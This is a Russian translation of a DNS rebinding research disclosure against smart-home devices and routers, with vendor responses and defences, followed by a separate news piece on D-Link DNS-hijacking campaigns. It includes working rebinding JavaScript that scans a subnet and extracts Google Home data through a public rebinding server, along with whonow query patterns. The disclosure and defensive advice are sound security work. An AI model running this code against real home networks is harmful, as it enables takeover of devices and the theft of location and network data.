Атака на устройства в локальной сети через уязвимый роутер

Автор: Brannon Dorsey

Если вы кликните на вредоносную ссылку, злоумышленник может удаленно получить контроль над вашим Wi-Fi роутером, колонками Google Home / Sonos, приставкой Roku, домашним терморегулятором и другими устройствами.

Можно сказать, что домашняя сеть является сакральным местом и вашим персональным кусочком киберпространства. Здесь мы подключаем телефоны, ноутбуки и «умные» устройства к интернету и объединяем между собой для повышения удобства и качества нашей жизни. По крайней мере, так говорят в рекламных роликах. К концу второго десятилетия локальные сети все больше наводняются устройствами разного рода, начиная от умных телевизоров и мультимедийных проигрывателей и заканчивая помощниками по дому, камерами, холодильниками, дверными замками и регуляторами температуры. Короче говоря, домашние сети становятся похожи на приют для проверенных персональных и домашних устройств.

Для доступа и управления многими из вышеупомянутых устройств аутентификация сильно урезана или вообще отсутствует. По сути, эти девайсы доверяют своим соседям по сети, как если бы вы безоговорочно доверяли каждому, кто оказывался в вашем доме. Взаимодействие между устройствами происходит через UPnP и HTTP, а защита от подключений со стороны интернета лежит на фаерволе роутера. Можно сказать, что все коммуникации происходят в огороженном пространстве, защищенном от внешних угроз. Так, вероятно, думают разработчики и производители этих девайсов.

Несколько месяцев назад я начал изучать схему атак десятилетней давности с использованием перепривязки DNS (DNS rebinding). Попросту говоря, перепривязывание DNS позволяет удаленному деятелю обойти фаервол и использовать браузер жертвы в качестве прокси для прямого подключения к устройствам домашней сети. Например, кликнув по ссылке или посмотрев вредоносный баннер, вы можете непреднамеренно дать доступ злоумышленнику к вашему терморегулятору, отвечающему за температуру в вашем доме.

Примечание: в журнале Wired это исследование было одновременно опубликовано в аналогичной статье за авторством Лили Хэй Ньюмен.

В чем суть перепривязывания DNS?

Перед тем как погружаться в суть этой темы, разберемся с механизмом безопасности, который нужно обойти во время перепривязки DNS. Конкретно речь идет о политике (правиле) ограничения домена (same-origin policy). Некоторое время назад разработчики браузеров решили, что веб-страницам на одном домене нельзя отсылать произвольные запросы другому домену без разрешения со стороны второго домена. Если вы перейдете по вредоносной ссылке, целевая страница не должна отсылать HTTP-запрос банковскому сайту и использовать вашу сессию для опустошения счета. Таким образом, браузеры ограничивают отсылку HTTP-запросов с домена для доступа к ресурсам только в рамках текущего домена (или к другим доменам, разрешенным в cross—origin resource sharing)

Однако при помощи DNS можно спровоцировать взаимодействие между браузером и сторонним доменом, коммуникация с которым не разрешена явным образом.

Рассмотрим пример. Код по адресу http://malicious.website не может выполнить стандартный запрос XMLHttpRequest к сайту http://bank.com/transfer-fund, поскольку мы имеем дело с разными доменами, расцениваемые браузером как разные источники. В браузерах предусмотрено сравнение протокола, имени домена и номера порта между запросом и источником страницы, откуда отсылается запрос. Эти параметры должны быть идентичны. Звучит неплохо, не так ли?

Однако радоваться пока рано. Ни для кого не секрет, что каждое имя домена привязано к IP-адресу. Например, за именем malicious.website может быть закреплен адрес 34.192.228.43, а за сайтом bank.com – адрес 171.159.228.150. В DNS реализован механизм для трансляции легко запоминаемых имен в IP-адреса, используемых компьютерами для коммуникации друг с другом. Однако в современных браузерах во время анализа ограничений из same-origin policy используются URL’ы, а не IP-адреса. Что произойдет, если IP-адрес сайта malicious.website быстро поменяется с 34.192.228.43 на 171.159.228.150? С точки зрения браузера ничего не изменилось. Однако вместо коммуникации с сервером с файлами сайта malicious.website браузер будет взаимодействовать с сайтом bank.com. Понимаете, в чем дело? DNS может использоваться для вовлечения браузеров в коммуникацию с серверами, не разрешенными явным образом.

За последний год перепривязка DNS несколько раз оказывалась в центре внимания после обнаружения уязвимостей в популярном программном обеспечении. Наиболее примечательные случаи: видеоигры от компании Blizzard, торрент-клиент Transmission и кошельки криптовалюты Ethereum оказались уязвимы к перепривязыванию DNS. В случае с уязвимостью Ethereum Geth при определенных обстоятельствах злоумышленник мог получить полный контроль над аккаунтом жертвы и всеми монетами.

Как упоминалось выше, перепривязка DNS позволяет обходить фаервол и использовать браузер в качестве прокси для прямого доступа к устройствам в домашней сети.

Как работает перепривязывание DNS

1. Злоумышленник управляет вредоносным DNS-сервером, отвечающим на запросы касательно домена (предположим, rebind.network).

2. Злоумышленник провоцирует жертву на переход по адресу http://rebind.network в браузере. Например, при помощи фишинга или XSS или через показ HTML-баннера.

3. Как только жертва перешла по ссылке, браузер делает запрос к DNS-серверу, связанному с преобразованием имени rebind.network в IP-адрес. При получении запроса, сервер, контролируемый злоумышленником, отсылает настоящий IP-адрес (34.192.228.43). Кроме того, значение TTL устанавливается равным 1 секунду. Таким образом, кэш на машине жертвы будет актуален не очень долго.

4. Жертва загружает страницу по адресу http://rebind.network, содержащую вредоносный JavaScript-код, начинающий выполняться в браузере. Страница многократно выполняет странные POST-запросы к странице http://rebind.network/thermostat с полезной нагрузкой JSON наподобие {“tmode”: 1, “a_heat”: 95}.

5. Вначале эти запросы отсылается на веб-сервер, подконтрольный злоумышленнику, с IP-адресом 34.192.228.43, однако через некоторое время (схема DNS-кэширования в браузере выглядит странно) резольвер браузера обнаруживает, что DNS-запись для адреса rebind.network устарела, и выполняет еще один запрос.

6. DNS-сервер, подконтрольный злоумышленнику, получает от жертвы второй запрос, но в этот раз посылает 192.168.1.77, являющийся IP-адресом умного терморегулятора
из локальной сети жертвы.

7. Жертва получает вредоносный DNS-ответ и вместо http://rebind.network начинает посылать HTTP-запросы на адрес 192.168.1.77. Поскольку с точки зрения браузера ничего не изменилось, отсылается еще один POST-запрос на адрес http://rebind.network/thermostat.

8. В этот раз POST-запрос отсылается на небольшой незащищенный веб-сервер, работающий в терморегуляторе, подключенного через Wi-Fi. Регулятор температуры обрабатывает запрос, и температура в доме жертвы устанавливается 35 градусов по Цельсию.

Этот сценарий был реализован в реальном эксплоите (CVE-2018–11315), найденном и использованном мной против моего умного терморегулятора Radio Thermostat CT50. Атаки, подобные вышеописанной, могут иметь еще более серьезные последствия для устройств и служб, работающих в домашней сети. Используя браузер жертвы в качестве HTTP-прокси, при помощи атак на базе перепривязки DNS можно обходить сетевые фаерволы и делать каждое устройство, защищенное в интранете, доступным злоумышленнику, работающему удаленно.

Какие устройства уязвимы?

После обнаружения и эксплуатации этой бреши в самом первом устройстве, с которым я работал, мне подумалось, что множество других IoT-устройств также могут быть уязвимы. Я начал собирать и изучать другие популярные умные домашние устройства, доступные на рынке. В течение последующих нескольких недель каждое устройство, побывавшее в моих руках, оказалось уязвимым к перепривязке DNS в той или иной степени. В некоторых случаях удавалась информационная утечка, в других – получение полного контроля над устройством. Динамик Google Home, медиаплеер Chromecast, приставка Roku, беспроводные системы Sonos и некоторые модели термостатов могут стать жертвой злоумышленника, работающего удаленно.

Выдержка из твиттера: идея о том, что локальная является защищенной – ошибочна. Если продолжать верить в эту иллюзию, пострадает много людей.

Я контактировал с производителями вышеуказанных устройств. Некоторые патчи находятся в стадии разработки, некоторые – уже выпущены (подробнее про мою находку). Я упомянул об устройствах, протестированные мной лично. Если продукция больших компаний уязвима к перепривязке DNS, значит, более мелких производителей эта проблема тоже касается, и можно сказать, что уязвимых устройств бесчисленное множество.

Рисунок 1: Поиск устройств в домашней сети, уязвимых к перепривязке DNS

Я написал экспериментальный эксплоит, пригодный для поиска уязвимых устройств в домашней сети и доступный по адресу http://rebind.network.

Динамик Google Home

Рисунок 2: Модель Google Home Mini

Приложения для управления продукцией Google Home используют незадокументированный REST API, работающий на порту 8008 устройства (например, http://192.168.1.208:8008). Первое упоминание про эту службу я нашел в 2013 году, когда Брэндон Фикет написал о локальном API, найденном во время сниффинга Wi-Fi трафика, передаваемого медиаплеером Chromecast. Прошло пять лет и, кажется, компания Google интегрировала загадочный API во все продукты Google Home. Как вы можете догадаться, на данный момент малоизвестный API стал хорошо задокументированным силами энтузиастов. На самом деле, ранее в этом году Ризвик Вибху (Rithvik Vibhu) опубликовал детальную документацию на этот API.

Этот API дает возможность расширенного контроля над устройствами без аутентификации. Например, доступны функции запуска приложения и просмотра контента, сканирования и подключения к близлежащим Wi-Fi сетям, перезагрузки и даже сброса настроек до заводских.

Представьте ситуацию, когда вы просматривайте сайт и вдруг настройки вашего динамика Google Home сбрасываются. Или ваш сосед по квартире оставил браузер открытым и HTML-баннер отправил ваш медиаплеер Chromecast в цикл перезагрузки в то время, когда вы смотрите кино? Мой любимый сценарий использования этого API – сканирование Wi-Fi. Используя эту возможность в сочетании с публично доступными данными вардрайвинга, злоумышленники могут узнать точную геолокацию на базе вашего списка близлежащих Wi-Fi сетей. Подобная атака окажется успешной, даже если вы отключили API геолокации в браузере и используете VPN для туннелирования трафика через другую страну.

Вот пример
информации, которую мне удалось извлечь с моего Chromecast. Можете догадаться, где я писал этот пост?

Обновление от 19 июня 2018 года: Крэйг Янг одновременно со мной исследовал эту уязвимость и опубликовал результаты перед моим постом. Крэйг создал концептуальный код для осуществления атаки, связанной с геолокацией, описанной выше, но саму атаку ни разу не реализовал. Работа Крейга вместе с комментарием Брайана Креба определенно заслуживают внимания.

Я уведомил Google об этой проблеме в марте во время обнаружения и еще раз в апреле вследствие отсутствия какой-либо реакции. Согласно статье Креба, Янг сообщил об уязвимости в Google, но тикет был закрыт с комментарием «Статус: Исправлено не будет (Так и задумывалось)». Исправления не выходили до тех пор, пока Креб вышел на контакт с Google, и проблему согласились исправить. Ожидается, что Google выпустит патч в середине июля 2018 года.

Беспроводная колонка Sonos

Рисунок 3: Sonos Play:1

Как и Google Home, беспроводные колонки Sonos также могут оказаться под управлением злоумышленника удаленно (CVE-2018–11316). Кликнув по вредоносной ссылке, ваш приятный вечер под музыку джаза может оказаться прерван. Эта шутка пригодна для простых и безвредных пранков.

После недолгих поисков я нашел несколько интересных ссылок на веб-сервере Sonos UPnP, которые могут оказаться не столь невинными. Кажется, на устройстве есть несколько скрытых веб-страниц для отладочных целей. На странице http://192.168.1.76:1400/support/review содержит XML файл с результатами выполнения различных Unix-команд на устройстве (на котором, скорее всего, работает дистрибутив Linux).

В разделе http://192.168.1.76:1400/tools есть простейшая HTML-форма, позволяющая запускать некоторые Unix-команды на устройстве Sonos, а HTTP API позволяет злоумышленнику, работающему удаленно, исследовать внутренние и внешние сети при помощи команды traceroute и отправлять к хостам ICMP-запросы при помощи команды ping и простых POST-запросов. Злоумышленник может использовать колонку Sonos как отправную точку для составления сетевой топологии и сбора информации о подключениях, необходимую для реализации последующих атак.

Обновление от 19 июня 2018 года: В Sonos сделали заявление вместе с этой публикацией: «После изучения возможностей по реализации перепривязки DNS мы немедленно приступили к созданию патча, который выйдет в июльском обновлении».

Приставка Roku

Рисунок 4: RokuTV

Во время исследования сети в холле здания, где я работаю, был обнаружен HTTP-сервер на порту 8060 устройства RokuTV. Вскоре я выяснил, что External Control API
этого девайса позволяет управлять базовой функциональностью: запуском приложения, поиском и проигрыванием файлов. Кроме того, доступно управление через кнопку и нажатие клавиш как на виртуальном пульте. Доступны также входные каналы к сенсорам, включая акселерометр, датчик ориентации, гироскоп и даже магнитометр (зачем?). Как вы вероятно догадались, локальное API не требует аутентификации и может эксплуатироваться через перепривязку DNS (CVE-2018–11314).

Я рассказал о своих находках специалистам по безопасности компании Roku и получил следующий ответ:

Риска для наших покупателей или платформы этот API не несет. Мы знаем о веб-приложениях наподобие http://remoku.tv, при помощи которого через браузер можно взаимодействовать с устройством, находящимся в той же самой локальной сети.

После описания детального сценария атаки вице-президент, курирующий вопросы безопасности в компании, сказал, что команда «рассматривает этот инцидент как актуальную угрозу, а не как рядовой случай». В итоге выпуск релиза Roku OS 8.1 был немедленно приостановлен и началась разработка патча. Ожидалось, что весь процесс займет около 3-4 месяцев, если не удастся найти адекватное решение для текущего релиза.

После некоторых размышления я проинформировал специалистов ROKU, что работаю репортером в WIRED и планирую вскоре опубликовать свое исследование. На следующее утро я получил письмо, где сообщалось о завершении разработки патча и начале процесса обновления прошивок у 20 миллионов устройств.

Обновление от 19 июня 2018 года: Компания Roku выпустила заявление вместе с публикацией этой статьи: «После того как мы узнали о проблеме, связанной с DNS привязкой, был создан патч. Устройства у покупателей на данный момент обновляются. Обратите внимание, что любая потенциальная эксплуатация этой уязвимости не несет рисков, связанных с безопасностью, для учетных записей наших покупателей и партнеров по продажам или платформы Roku».

Радиотермостат

Рисунок 5: Радиотермостат CT50

Радиотермостаты CT50 и CT80 содержат наиболее серьезные уязвимости среди найденных мной. Эти устройства являются наиболее дешевыми среди «умных» термостатов, доступных на рынке на данный момент. Я заказал одно устройство после того как узнал о недостаточной безопасности подобных девайсов из бюллетеня CVE-2013–4860, где
сообщалось об отсутствии аутентификации и возможности контроля кем попало, кто находится в одной сети с девайсом. Дэниел Кроули из компании Trustwave SpiderLabs несколько раз пытался сообщить производителю об уязвимости, но ответа не последовало, и отчет о бреши был опубликован. К сожалению, отсутствие ответа часто является причиной публикации отчетов, особенно в случае с мелкими производителями. Я предполагаю, что уязвимость, скорее всего, оставалась неисправленной в течение 5 лет, и заказал новую модель CT50.

Мое предположение оказалось верным, и API для управления терморегулятором было уязвимо к перепривязке DNS. Стоит ли говорить о возможных последствиях, если терморегулятор вашего здания окажется под контролем злоумышленника, работающего удаленно? Экспериментальный эксплоит по адресу http://rebind.network извлекает некоторую базовую информацию из термостата прежде, чем установить температуру 35 градусов по Цельсию. Эта температура может оказаться опасной или даже смертельной в жаркие летние месяцы особенно для пожилых людей или людей с ограниченными возможностями. Если же ваш домашний девайс оказалось под контролем злоумышленника, пока вы были в отпуске, счет за электричество может оказаться огромным.

Серьезность уязвимости и продолжающаяся халатность компании Radio Thermostat Company of America, которой потребовалось несколько лет для исправления проблемы – прекрасный пример, зачем нужно регулировать безопасность IoT-устройств на законодательном уровне.

Wi-Fi роутеры

Если вы продолжаете читать статью, то, скорее всего, у вас в голове возникла мысль, что другие устройства из домашней сети также могут быть уязвимы. Думаю, вас не удивит тот факт, что исторически сетевые роутеры в целом являются наиболее распространенной целью для атак, связанных с перепривязкой DNS.

Можно сказать, что сетевые роутеры хранят ключи от многих дверей. Если вы контролируете роутер, то, по сути, контролируете сеть. Существует два распространенных вектора с использованием перепривязки DNS:

1. Передача через POST-запрос со стандартными учетными записями на страницу наподобие http://192.168.1.1/login для авторизации в качестве администратора. Далее у злоумышленника появляется полный контроль над устройством и возможность конфигурирования сети.

2. Использование интерфейса Internet Gateway Device (IGD) через UPnP для настройки постоянных соединений для проброса портов и открытия произвольных UDP / TCP портов для доступа из публичного интернета.

Первый метод легко реализовать, поскольку покупатели зачастую не меняют стандартные учетные записи. Возможно, будет включено использование WPA2 и установлен пароль для Wi-Fi, но панель настройки для роутера будет доступна каждому по логину admin и паролю admin.

Второй сценарий еще хуже и представляет собой откровенную пародию. Так или иначе, у большинства современных домашних роутеров сервера UPnP включены по умолчанию. Эти сервера дают возможность настраивать роутер с правами администратора любой машине из сети без аутентификации через HTTP. Любой пользователь из локальной сети или интернета (через перепривязку DNS) может воспользоваться IGD/UPnP для настройки DNS-сервера роутера, добавить / удалить переадресацию портов для NAT и WAN, посмотреть объем трафика полученного/переданного в сети и получить доступ к публичному IP-адресу роутера (подробности на сайте upnp-hacks.org).

Через перепривязку DNS, направленную на UPnP сервер роутера, проделать дыру в фаерволе и оставить постоянную дверь для реализации других атак на базе протоколов TCP / UDP на устройства из сети, но без ограничений по HTTP, присутствующих у перепривязки DNS.

Злоумышленники могут даже настроить правила проброса портов для переадресации трафика на внешние IP-адреса и сделать роутер жертвы как часть большой сети инфицированных роутеров, используемой для маскировки трафика от государственных органов (подробнее в статье про UPnProxy).

IGD также позволяет обнаружить публичный IP-адрес роутера через простейший HTTP-запрос без авторизации. В комбинации с перепривязкой DNS можно деанонимизировать пользователей, пытающихся замаскировать публичный IP-адрес через VPN или TOR.

Однако, что касается перепривязки DNS в контексте роутеров, то все не так очевидно. Я видел роутеры, где полностью блокируется перепривязка DNS, а также роутеры с рандомизацией порта UPnP сервера с целью затруднения реализации подобного рода атак. С другой стороны, я сталкивался с роутерами полностью беззащитными к перепривязке DNS. Если честно, то мне не очень хочется разбираться и исследовать роутеры на предмет реализации перепривязки DNS. В основном потому, что я боюсь получить шокирующие результаты.

Безопасность локальной сети – иллюзия

Возникает закономерный вопрос. Почему так много устройств уязвимо к атаке десятилетней давности? Вероятно, причин больше, чем я думаю, но мне кажется, что основных – две.

Рисунок 6: Опрос на предмет осведомленности об атаках на базе перепривязки DNS

Первое, о чем стоит упомянуть – уровень осведомленности. Насколько я могу судить, перепривязка DNS не столь популярна, как могла бы быть. Конечно, некоторые специалисты могли слышать об этих атаках, но я почти уверен, что очень мало людей реально опробовали эту технологию на практике. Эта атака громоздка и трудна в реализации. Вы должны организовать вредоносный DNS-сервер в облаке, написать полезную нагрузку на JavaScript, заточенную под конкретную службу, передать полезную нагрузку жертве в целевой сети. Затем нужно понять, как использовать браузер жертвы для перехода на целевую машину, где работает нужная служба, IP-адрес которой, вероятно, вы не знаете. В общем, много накладных расходов и мало надежности. Я написал несколько утилит для упрощения задачи. Подробности далее.

Объявление в твиттере: «Требуются разработчики для написания программного обеспечения для работы с локальными частными сетями, как если бы эти сети были враждебными и публичными».

Даже если перепривязка DNS станет более популярной среди специалистов по кибербезопаности, нет гарантии, что мы увидим снижение числа зараженных устройств, поскольку API реализуется веб-разработчиками. Естественно, веб-разработчики должны знать, что для доступа к API извне должна быть авторизация. С другой стороны, существует распространение мнение, что локальные сети сами по себе защищены от вторжения из интернета, и локальные API перекладывают вопросы достоверности и безопасности на саму локальную сеть. Зачем нужна авторизация в REST API, если в роутере уже есть авторизация? Целые протоколы навроде UPnP реализованы на основе идеи, что устройства в сети доверяют друг другу. Эта концепция и является основным корнем проблемы.

Полная версия объявления в твиттере: «Требуются разработчики для написания программного обеспечения по работе с локальными сетями, как если бы эти сети были враждебными и публичными, поскольку мы не считаем локальные сети полностью безопасными. Если мы будем продолжать думать, что локальные сети безопасны, может пострадать много людей».

Защита от перепривязки DNS

Пользователи

Как пользователь какого-либо продукта или службы, вы часто зависите от создателя продукта. Однако в случае с перепривязкой DNS у вас есть некоторый контроль над ситуацией, и вы можете защититься от подобного рода угроз, изменив настройки роутера. Сервис OpenDNS Home бесплатен и может быть использовать для фильтрации подозрительных IP-адресов, как, например, частных IP-диапазонов в DNS-ответах. Нужно поменять DNS-сервер вашего роутера со стандартного на один из DNS-серверов, предоставляемых службой OpenDNS Home.

Если вы предпочитаете управлять фильтрацией самостоятельно и не доверяете публичным DNS-сервера, можете воспользоваться Dnsmasq или установить прошивку на роутере навроде DD-RT. Каждое из этих решений вполне уместно, если у вас есть доступ к роутеру. Однако будьте бдительными. Вы все еще можете оказаться жертвой перепривязки DNS, если сеть не защищена от подобного рода атак.

Разработчики

Если вы разработчик или участвуете в создании продукта с HTTP API, существует несколько способов защититься от подобного рода атак. Рассмотрим три простых метода.

Самое простое решение и без побочных эффектов – добавить проверку заголовка «Host» на стороне HTTP-сервер. Этот заголовок добавляется во все HTTP-запросы, отсылаемые современными браузерами и содержит адрес сервера (hostname:port) для коммуникации. В качестве адреса сервера может выступать имя домена или IP-адреса, однако в любом случае после получения запроса нужно проверить, что хост в заголовке совпадает с хостом сервера.

Поскольку перепривязка DNS основывается на изменении IP-адреса, связанного с именем домена, заголовок Host во вредоносном HTTP-запросе, направляемом в целевую службу будет содержать оригинальное имя домена. Вредоносный POST-запрос, используемый на странице авторизации роутера, будет иметь значение заголовка Host, отличающееся от имени хоста или IP-адреса роутера. Соответственно, вредоносный заголовок будет выглядеть примерно так Host: malicious.website. Веб-серверам следует проверять, что запрашиваемый заголовок Host в точности совпадает с настоящим именем хоста. В противном случае должен возвращаться HTTP-статус с кодом 403 (Forbidden). Я написал NPM-модуль с вышеописанным функционалом для веб-серверов Express.js. Схожее решение для другого сервера или на другом языке реализовать довольно просто.

Еще один эффективный метод для защиты от перепривязки DNS – вместо HTTP использовать HTTPS даже в локальных сетях. Во время перепривязки у целевой службы будет SSL-сертификат, который окажется невалидным для сайта malicious.website, и запрос к API будет заблокирован. В качестве бонуса у пользователей повысится безопасность в целом и появится все фишки, присутствующие в TLS/SSL. Обычно производители не поставляют IoT-устройства с TLS/SSL сертификатами, однако в медиа-сервере Plex проблема решена оригинальным образом, когда перепривязка DNS используется для выпуска сертификатов и защиты покупателей!

Вероятно, наилучшее решение, хотя с возможными побочными эффектами для вашей системы – добавить аутентификацию в API. Если на API завязан важный функционал или доступ к конфиденциальной информации, то права должны быть ограничены. К этому API не должно быть доступа у всех из локальной сети и тем более из публичного интернета (соответственно, и через привязку DNS тоже). Нет никакой необходимости в том, чтобы у любого устройства в беспроводной был полный контроль над температурой в помещении. Мы часто забываем, как легко взломать WPA2.

Инструменты для реализации перепривязки DNS

Для повышения осведомленности о перепривязки DNS я создал утилиты и библиотеки, чтобы вы могли попробовать реализовать подобные атаки на практике. Помимо полезной нагрузки на JavaScript, написанной для целевого устройства или службы, схема доставки полезной нагрузки, взаимодействие с вредоносным DNS-сервером и перечисления хостов в сети жертвы во многом схожи от случая к случаю. Все инструменты идут с открытым исходным кодом, и вы можете легко разобраться и сымитировать перепривязку DNS.

· «Вредоносный» DNS-сервер: whonow

· Библиотека на JavaScript для фронтэнда: DNS rebind toolkit

Whonow

Whonow
представляет собой DNS-сервер, позволяющий динамически настраивать ответы и правила перепривязки при помощи все тех же запросов к домену. Пример:

# respond to DNS queries for this domain with 34.192.228.43 the first

# time it is requested and then 192.168.1.1 every time after that.

A.34.192.228.43.1time.192.168.1.1.forever.rebind.network

# respond first with 34.192.228.43, then 192.168.1.1 the next five

# times, and then start all over again (1, then 5, forever…)

A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network

При использовании динамических правил для перепривязки DNS нам не нужно разворачивать собственный DNS-сервер для эксплуатации политики ограничения домена браузера. Каждый может использовать публичный сервер whonow, работающий на порту 53 по адресу rebind.network.

Прямо сейчас можно воспользоваться утилитой dig и отправить запрос к публичному серверу. Сервер будет отвечать на запросы для доменных имен *rebind.network.

# dig is a unix command for making DNS requests

dig A.10.10.10.50.forever.rebind.network

;; QUESTION SECTION:

;10.10.10.50.forever.rebind.network. IN A

;; ANSWER SECTION:

10.10.10.50.forever.rebind.network. 1 IN A 10.10.10.50

Whonow всегда устанавливает значение TTL равным одной секунде, и ответы не будут долго находиться в кэше DNS-резольвера.

Рисунок 7: Ответы публичного сервера whonow

DNS Rebind Toolkit

DNS Rebind Toolkit представляет собой библиотеку для автоматизации атак на базе перепривязки DNS. Как только вы написали полезную нагрузку на JavaScript для целевой службы, эта библиотека позволит вам реализовать атаку в сети жертвы.

· Используется утечка IP-адресов в WebRTC для выяснения локального IP-адреса жертвы.

· Автоматизирован перебор диапазона подсети, и вы можете скомпрометировать устройства, IP-адреса которых не известны.

· Автоматизирована перепривязка DNS. Возвращается объект Promise, который резолвится после успешного завершения перепривязки.

· Используется сервер whonow. Нет необходимости разворачивать собственный DNS-сервер для реализации перепривязки.

· Предусмотрено несколько полезных нагрузок для атаки на наиболее распространенные IoT устройства. Изучая хорошо задокументированные примеры, вы можете написать собственные эксплоиты.

Реализация атаки против устройства Google Home в подсети 192.168.1.1/24 не сложнее, чем внедрить код в страницу index.html.

// JS in index.html

DNSRebindAttack.getLocalIPAddress()

.then(ip => launchRebindAttack(ip))

.catch(err => {

    console.error(err)

    // Looks like our nifty WebRTC leak trick didn't work 

    // No biggie, most home networks are 192.168.1.1/24 anyway.

    launchRebindAttack('192.168.1.1')

})

function launchRebindAttack(localIp) {

    // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255

    const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))

    const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)

    // The first argument is the domain name of a publicly accessible

    // whonow server (https://github.com/brannondorsey/whonow).

    // I've got one running on port 53 of rebind.network you can to use.

    // Google Home's undocumented HTTP API server runs on port 8008

    const rebind = new DNSRebindAttack('rebind.network', 8008)

    // Launch a DNS Rebind attack, spawning 255 iframes

    rebind.attack(ips, '127.0.0.1', 'payload/google-home.html')

}

Файл index.html инициирует атаку, создавай iframe для каждого IP-адреса в массиве, передаваемого в rebind.attack(…). В каждый iframe содержит payloads/google-home.html со следующим сниппетом:

// JS in payloads/google-home.html

attack()

.then((json) => {

          console.log('The attack was successful! Here is the JSON it exfiltrated:')

          console.log(json)

      },

      err => {

          // there probably isn't even a machine with this IP address...

          console.error('No Google Home found at this IP ')

      }

)

// remove the iframe from index.html once the attack is complete. 

// Leave no trace ;)

.then(() => DNSRebindNode.destroy())

async function attack() {

    // a helper function that returns some fetch() options configured with

    // certain useful headers

    const getOptions = DNSRebindNode.fetchOptions()

    try {

        const opts = { fetchOptions: getOptions }

        return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())

    } catch (err) {

        return Promise.reject(err)

    }

}

Ссылки и благодарности

Я благодарю Лили Хэй Ньюмэн за три месяца плодотворных разговоров, которые привели к освещению этого исследования в журнале WIRED. Огромная благодарность Вильяму Робертсону за помощь в моей работе и особенно за разрешение поэкспериментировать в домашней сети и над устройством Sonos. Также благодарю отделы безопасности Roku и Sonos за быструю реакцию, разработку, выпуск обновлений для прошивок и защиты пользователей от атак на базе перепривязки DNS.

Ниже приведен перечень статей и ресурсов, имеющих отношение к перепривязке DNS, которые мне очень помогли во время исследования. Надеюсь, для вас эти ссылки тоже окажутся полезными:

• Stanford’s Original DNS Rebinding Research (2007)
• DNS Rebinding with Robert RSnake Hansen (прекрасное видео)
• CORS, the Frontendian
• Luke Young’s DEFCON 25 “Achieving Reliable DNS Rebinding”
• Ricky Lawshae’s DEFCON 19 SOAP & UPnP Talk
• UPnP Hacks website
• Dear developers, beware of DNS Rebinding
• Practical Attacks with DNS Rebinding
• Original Blizzard Game’s DNS rebinding bug report by Tavis Ormandy

Время на прочтение
4 мин

Количество просмотров 8.2K

К теме уязвимости в сетевых роутерах мы обращаемся далеко не первый раз, но исследования группы Bad Packets и компании Ixia (новость, отчет Bad Packets, отчет Ixia) интересны тем, что представляют почти полную картину: как ломают роутеры, какие настройки меняют, и что потом происходит.

Подобные атаки не имеют каких-то технически сложных элементов, да и цель у злоумышленников простая — заработать денег на рекламе и, если получится, украсть пароли доступа к банковским системам и платным интернет-сервисам. Если коротко: атакующие сканировали сеть для поиска уязвимых роутеров (в основном — неновых моделей производства D-Link). Обнаружив такой роутер, они меняли в нем записи DNS, перенаправляя трафик на собственные серверы. Уязвимости при этом использовались тривиальные, доступ к настройкам у непропатченных устройств происходил без авторизации. Самым старым устройствам в списке целей больше 10 лет, но несмотря на это, теоретически киберпреступники могли атаковать больше 15 тысяч жертв.

Специалисты Bad Packets зафиксировали три атаки с общими признаками в конце декабря прошлого года, а также в феврале и конце марта 2019-го. Во всех случаях для первого этапа атаки использовался сервис Google Cloud Platform: создавался виртуальный сервер, который производил «обзвон» сетевых устройств.

Сканирование было направлено на поиск устройств с известными уязвимостями, в основном это были не самые современные роутеры производства D-Link. Позднее с помощью сервиса BinaryEdge, собирающего информацию о параметрах сетевых устройств, удалось прикинуть, сколько устройств в принципе было уязвимо для такой атаки. Из десятка моделей, которые точно атаковались в ходе этой кампании, только для одной было зафиксировано несколько тысяч «попаданий».

Это ADSL-роутер D-Link DSL-2640B. Стомегабитный Ethernet, поддержка WiFi 802.11g — в целом неплохо для модели, которая была доступна начиная с 2007 года. Прочие модели (например, D-Link 2740R, 526B и другие, всего около десятка версий) если и приносили выгоду злоумышленникам, то в небольшом масштабе — таких устройств в сети доступно всего несколько сотен.

У модели 2640B в 2012 году была обнаружена традиционная для сетевых устройств уязвимость: если залогиненного в веб-интерфейсе роутера пользователя заставить нажать на подготовленную ссылку, можно получить контроль над устройством. А в 2017 году в том же роутере была обнаружена более серьезная проблема: выяснилось, что подменить записи DNS-серверов можно без авторизации. Естественно, в том случае, если веб-интерфейс роутера доступен снаружи, чего в нормальных условиях происходить не должно.

Последствия подмены DNS-серверов очевидны: у злоумышленников появляется возможность подменять рекламные баннеры своими, показывать пользователям фальшивые сайты по «правильному» адресу, атаковать непосредственно компьютеры, подключенные к роутеру с использованием вредоносного ПО.

Что именно происходит с атакованным роутером, выяснили в компании Ixia. Сделано это было так: на тестовой системе в качестве DNS-сервера устанавливался сервер злоумышленников, затем прогонялся список из 10 тысяч доменных имен самых популярных сайтов (по версии сервиса Alexa). Нужно было выяснить, для каких доменов поддельный DNS-сервер пытается увести жертв на собственные версии сайтов. Подмена сайтов была зафиксирована для четырех глобальных сервисов: Paypal, GMail, Uber и Netflix. Другие домены (всего больше десяти) представляли собой локальные сервисы банков и сетевых провайдеров в Бразилии.

Копия банковского сервиса выглядит достоверно, на подделку указывает только отсутствие соединения по HTTPS. Часть редиректов злоумышленники, видимо, не успели должным образом подготовить: вместо сайта cetelem.com, например, показывалась стандартная заглушка веб-сервера Apache. В случае конкретной атаки в марте этого года и поддельные веб-сайты, и сам DNS-сервер также хостились на облачной платформе Google. В ответ на запрос сайта Arstechnica в Google сообщили, что вредоносные сервисы заблокированы и приняты меры по автоматическому блокированию таких операций в будущем. Впрочем, дело тут не в Google: другие волны атаки использовали серверы в Канаде и России.

В общем, в данном конкретном случае речь не идет о масштабной атаке. Поражаются устройства, которым много лет, с достаточно давно известными уязвимостями, и которые по каким-то причинам (ошибочная конфигурация, небезопасные дефолтные настройки) в принципе позволяют открывать веб-интерфейс при доступе из интернета, а не только из локальной сети. В данном случае уже вряд ли стоит надеяться на патч для древней прошивки, проще сделать апгрейд. Почему злоумышленники атакуют даже такие относительно немногочисленные виды устройств? Это достаточно просто и выгодно.

